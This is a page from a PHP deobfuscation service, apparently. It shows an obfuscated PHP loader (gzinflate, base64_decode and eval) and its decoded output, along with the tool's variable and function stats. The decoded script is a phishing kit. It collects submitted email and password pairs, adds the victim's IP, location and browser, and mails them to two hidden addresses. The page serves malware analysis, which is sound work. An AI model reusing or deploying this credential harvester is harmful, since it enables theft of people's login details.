Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $suAF='g';$G='o';$n='t';$hdEK='a';$yuS='_';$EPD='z';$HAN='b';$H='c';$mPxIC='i';$xVZ=..

Decoded Output download

?><?php
 if (isset($_SERVER['HTTP_ORIGIN'])) { header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Max-Age: 1000'); } if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) { header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE"); } if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) { header("Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, request-startTime"); } exit(0); } function getUserIpAddr() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { $output = NULL; if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) { $ip = $_SERVER["REMOTE_ADDR"]; if ($deep_detect) { if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_CLIENT_IP']; } } $purpose = str_replace(array("name", "
", "	", " ", "-", "_"), NULL, strtolower(trim($purpose))); $support = array("country", "countrycode", "state", "region", "city", "location", "address"); $continents = array( "AF" => "Africa", "AN" => "Antarctica", "AS" => "Asia", "EU" => "Europe", "OC" => "Australia (Oceania)", "NA" => "North America", "SA" => "South America" ); if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) { switch ($purpose) { case "location": $output = array( "city" => @$ipdat->geoplugin_city, "state" => @$ipdat->geoplugin_regionName, "country" => @$ipdat->geoplugin_countryName, "country_code" => @$ipdat->geoplugin_countryCode, "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)], "continent_code" => @$ipdat->geoplugin_continentCode ); break; case "address": $address = array($ipdat->geoplugin_countryName); if (@strlen($ipdat->geoplugin_regionName) >= 1) $address[] = $ipdat->geoplugin_regionName; if (@strlen($ipdat->geoplugin_city) >= 1) $address[] = $ipdat->geoplugin_city; $output = implode(", ", array_reverse($address)); break; case "city": $output = @$ipdat->geoplugin_city; break; case "state": $output = @$ipdat->geoplugin_regionName; break; case "region": $output = @$ipdat->geoplugin_regionName; break; case "country": $output = @$ipdat->geoplugin_countryName; break; case "countrycode": $output = @$ipdat->geoplugin_countryCode; break; } } } return $output; } function buildMail($email, $password) { $dateTime = date("l jS \of F Y h:i:s A"); $hostName = $_SERVER['HTTP_REFERER']; $browserName = get_browser(null, true)['browser'] ?? 'N/A'; $ipAddress = getUserIpAddr(); $ipData = ip_info($ipAddress); $country = $ipData['country'] ?? 'N/A'; $state = $ipData['state'] ?? 'N/A'; $city = $ipData['city'] ?? 'N/A'; $message = ""; $message .= "Email : {$email} <br>
"; $message .= "Password : {$password} <br>
"; $message .= "Date : {$dateTime} <br>
"; $message .= "Browser : {$browserName} <br>
"; $message .= "Host : {$hostName} <br>
"; $message .= "IP Address : {$ipAddress} <br>
"; $message .= "Country : {$country} <br>
"; $message .= "State : {$state} <br>
"; $message .= "City : {$city}<br>
<br>
<br>
"; $message .= "Work harder and smarter because there is somebody somewhere who's always working harder than you do."; return $message; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['email']) && isset($_POST['password'])) { try { $headers = "MIME-Version: 1.0" . "
"; $headers .= "Content-type:text/html;charset=UTF-8" . "
"; $message = buildMail($_POST['email'], $_POST['password']); mail("[email protected],[email protected]","Webmail Reset Authentication", $message, $headers); http_response_code(200); echo json_encode([ 'message' => "Message has been sent" ]); } catch (Exception $e) { http_response_code(500); echo json_encode([ 'message' => "Message could not be sent. Mailer Error: {$mail}" ]); exit(0); } } else { http_response_code(422); echo json_encode([ 'message' => "The given data is invalid", 'errors' => [ 'email' => 'The email is required', 'password' => 'The password is required', ] ]); exit(0); } } else { http_response_code(405); exit(0); } 

Did this file decode correctly?

Original Code

<?php $suAF='g';$G='o';$n='t';$hdEK='a';$yuS='_';$EPD='z';$HAN='b';$H='c';$mPxIC='i';$xVZ='s';$y='d';$E='e';$GHZol='4';$aKS='f';$k='n';$GCaRU='6';$nl='l';$EKEI=$HAN.$hdEK.$xVZ.$E.$GCaRU.$GHZol.$yuS.$y.$E.$H.$G.$y.$E;$be=$suAF.$EPD.$mPxIC.$k.$aKS.$nl.$hdEK.$n.$E;eval($be($EKEI('nVdrT9tIFP2+v2LWQmtnlQSKttIqNIA3cUqkPNjEtF1RZA32ELs4Hnc8JmQr/vveOx4nTkiArpCCZ+bc97nzODv9cJaG6S8kuiNWlGVMWgfe1Jl8cibX5oXrXnrjSf9jf2Te1GrkBwkZDZiwTNv3WZY1OjyRgscNO475ojEW0SxKWuR3s3byMrIjWMASGdE4axEpcvaCxJA+NuwZa5F3R0dHiHtSvq69nDh/XzlT1xs67sW4a96QdpuY40u3Px5NTXR6b2h2p+NMp15nPHIn44G3ragasbEzjiGTIQ8ghsvx1K2Tjw78aMt1cnkFo64zcFzHWLn9M35cOHbXmUzf4siFWgRHcDWVdYLLkOGGu0zZejRgyUyGdY1qOInPgyiZ1cmXRmc66TVcfs8SWM4hLBH9S2XEYSjY95xlspFJKqQbzVkRDnuMpHWkPu/yxEcsmTF5lTHRT+0gEFaZ/F/ZPJXL7ag7g74zcr3+pQ7wIEp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aZEfRcKfyIdbcQpH8xbsUldBIcuS7AN30WcEluXaB/yryKvCVkqxD34BNVXYsrj7gP1LUtYG4avM78N3dDUQrMuwDzqVZXCqEns1Yk2UOvh4KjDV3238Zy7uSUgFPCYITQKSzeHKD9+3zKc5dJ4MmWAkykjG5+yWB0v1sVCzi5CbGaHxgi4zAnW5h5dFqUuGNCFLnpOAN8Fm2Xra9JvedPCow1fWsxcdTl6bijVw4VcXi42VkiX6NYD5hQ4uXlPYM8awP3Qan2AAnQ+vzOYR3hWMr6LITgks6lM8oyQ8qlqSPcrDUM7jEx+CBIvtK7fX+HNDeE34yo6y6TFsLc8dPSG4aBlzBgfCsnkrwLVzOvN97nORNn0+r3/PJU2Sb2x5PkMszhl14zO7VY00YeCQesfhM3v97NAO1Vdx4bsbrk+wV2cpTzKmTmvr+AjfdcwPOVF3L5ao6WtiagWmuv4NdXghzYAhLCGZujncqDchGMXLkvOIT03cVA/UhWmHtfc/Zw06Iw5IwiXYVBabBBMLLHOE4ALZrraQwpHKK3X1wNvhwx/Hx2/xwQ0ZmUUPEGqA2yo0QpQ8wMU5gOSaDM1nCghyRX1xYKKUGqIAvqYjwQITJFYlX8HKmS3kzU/FcvR+E/wf')));

Function Calls

gzinflate 1
base64_decode 1

Variables

$E e
$G o
$H c
$k n
$n t
$y d
$be gzinflate
$nl l
$EPD z
$HAN b
$aKS f
$xVZ s
$yuS _
$EKEI base64_decode
$hdEK a
$suAF g
$GCaRU 6
$GHZol 4
$mPxIC i

Stats

MD5 82bf0cb15b2db5b7332654929514f973
Eval Count 1
Decode Time 96 ms